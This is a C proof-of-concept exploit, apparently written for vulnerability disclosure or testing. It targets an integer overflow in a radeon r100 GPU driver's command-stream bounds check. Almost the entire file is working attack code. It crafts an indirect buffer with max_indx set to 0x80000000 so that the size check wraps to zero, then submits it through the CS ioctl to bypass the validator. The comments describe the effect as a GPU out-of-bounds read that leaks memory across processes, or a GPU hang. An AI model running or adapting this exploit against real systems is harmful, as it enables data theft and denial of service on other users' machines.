/* DF-3765 — r100_cs_track_check() PW=1 bounds check computed in 32-bit
 *           unsigned: size = esize * max_indx * 4 wraps to 0 -> validator
 *           bypass -> GPU fetches indices far beyond the BO (GPU OOB read).
 *
 * max_indx is taken verbatim from the IB at r100.c:1966 (packet 0x23,
 * 3D_RNDR_GEN_INDX_PRIM).  With esize=2 (minimal vtx fmt) and
 * max_indx = 0x80000000:
 *      2 * 0x80000000 = 0 (mod 2^32);  0 * 4 = 0   ->  size == 0
 * "0 > radeon_bo_size(bo)" is false -> the check passes although the draw
 * instructs the GPU to use 0x80000000 indices from a 64 KB buffer.
 *
 * Build: cc -o df3765 df3765_max_indx.c
 * Run:   ./df3765 /dev/dri/renderD128
 * Success criterion: CS ioctl returns 0 (validator bypass proven).
 * On real hw expect garbage rendering reading adjacent GPU memory
 * (cross-process info leak via readback) and/or a GPU hang.
 */
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

struct rr_gem_create { uint64_t size, alignment; uint32_t handle, initial_domain, flags; };
struct rr_cs_reloc   { uint32_t handle, read_domains, write_domain, flags; };
struct rr_cs_chunk   { uint32_t chunk_id, length_dw; uint64_t chunk_data; };
struct rr_cs         { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; };

#define RR_GEM_CREATE           0x1d
#define RR_CS                   0x26
#define RR_IOCTL_GEM_CREATE     _IOWR('d', RR_GEM_CREATE, struct rr_gem_create) /* DF drm.h: DRM_IOCTL_BASE='d' */
#define RR_IOCTL_CS             _IOWR('d', RR_CS, struct rr_cs)
#define RR_CHUNK_ID_RELOCS      0x01
#define RR_CHUNK_ID_IB          0x02
#define RR_CHUNK_ID_FLAGS       0x03
#define RR_GEM_DOMAIN_GTT       0x2

#define PKT0(reg, n)  ((0u<<30) | (((n)&0x3FFFu)<<16) | (((reg)>>2)&0x1FFFu))
#define PKT3(op, n)   ((3u<<30) | (((n)&0x3FFFu)<<16) | (((op)&0xFFu)<<8))

#define RADEON_RB3D_CNTL            0x1c3c
# define RADEON_RB3D_COLOR_FORMAT_SHIFT 10
#define PKT3_NOP                    0x10
#define PKT3_RNDR_GEN_INDX_PRIM     0x23
# define RADEON_VF_PRIM_WALK_INDEX  (1 << 4)

static int fd;

static int
gem_create(uint64_t size, uint32_t *handle)
{
	struct rr_gem_create gc;
	memset(&gc, 0, sizeof(gc));
	gc.size = size;
	gc.alignment = 4096;
	gc.initial_domain = RR_GEM_DOMAIN_GTT;
	if (ioctl(fd, RR_IOCTL_GEM_CREATE, &gc)) {
		perror("GEM_CREATE");
		return -1;
	}
	*handle = gc.handle;
	return 0;
}

int
main(int argc, char **argv)
{
	const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128";
	struct rr_cs_reloc relocs[1];
	struct rr_cs_chunk chunks[3];
	uint64_t chunk_ptrs[3];
	struct rr_cs cs;
	uint32_t flags[2] = { 0, 0 };
	uint32_t ib[16], idx_bo, n = 0;

	fd = open(node, O_RDWR);
	if (fd < 0) {
		perror(node);
		return 1;
	}
	if (gem_create(64 * 1024, &idx_bo))
		return 1;

	memset(relocs, 0, sizeof(relocs));
	relocs[0].handle = idx_bo;
	relocs[0].read_domains = RR_GEM_DOMAIN_GTT;

	memset(ib, 0, sizeof(ib));
	/* RB3D_CNTL: valid color fmt, Z off (skips zb track check) */
	ib[n++] = PKT0(RADEON_RB3D_CNTL, 0);
	ib[n++] = (6 << RADEON_RB3D_COLOR_FORMAT_SHIFT);
	/* 3D_RNDR_GEN_INDX_PRIM (0x23): sets max_indx = ib value verbatim */
	ib[n++] = PKT3(PKT3_RNDR_GEN_INDX_PRIM, 4);
	ib[n++] = 0;			/* [addr] relocated below */
	ib[n++] = 0x80000000;		/* max_indx: esize(2)*max_indx*4 wraps to 0 */
	ib[n++] = 0;			/* SE_VTX_FMT: vtx_size = 2 (minimum) */
	ib[n++] = RADEON_VF_PRIM_WALK_INDEX;	/* prim walk = 1 -> PW1 check */
	ib[n++] = PKT3(PKT3_NOP, 1);
	ib[n++] = 0;			/* reloc dword index 0 -> relocs[0] */

	memset(chunks, 0, sizeof(chunks));
	chunks[0].chunk_id = RR_CHUNK_ID_IB;
	chunks[0].length_dw = n;
	chunks[0].chunk_data = (uint64_t)(uintptr_t)ib;
	chunks[1].chunk_id = RR_CHUNK_ID_RELOCS;
	chunks[1].length_dw = 4;
	chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs;
	chunks[2].chunk_id = RR_CHUNK_ID_FLAGS;
	chunks[2].length_dw = 2;
	chunks[2].chunk_data = (uint64_t)(uintptr_t)flags;
	chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0];
	chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1];
	chunk_ptrs[2] = (uint64_t)(uintptr_t)&chunks[2];

	memset(&cs, 0, sizeof(cs));
	cs.num_chunks = 3;
	cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs;

	if (ioctl(fd, RR_IOCTL_CS, &cs) == 0)
		printf("VULNERABLE: CS accepted max_indx=0x80000000 vs 64KB BO "
		       "(esize*max_indx*4 wrapped to 0)\n");
	else
		printf("rejected: %s\n", strerror(errno));
	return 0;
}
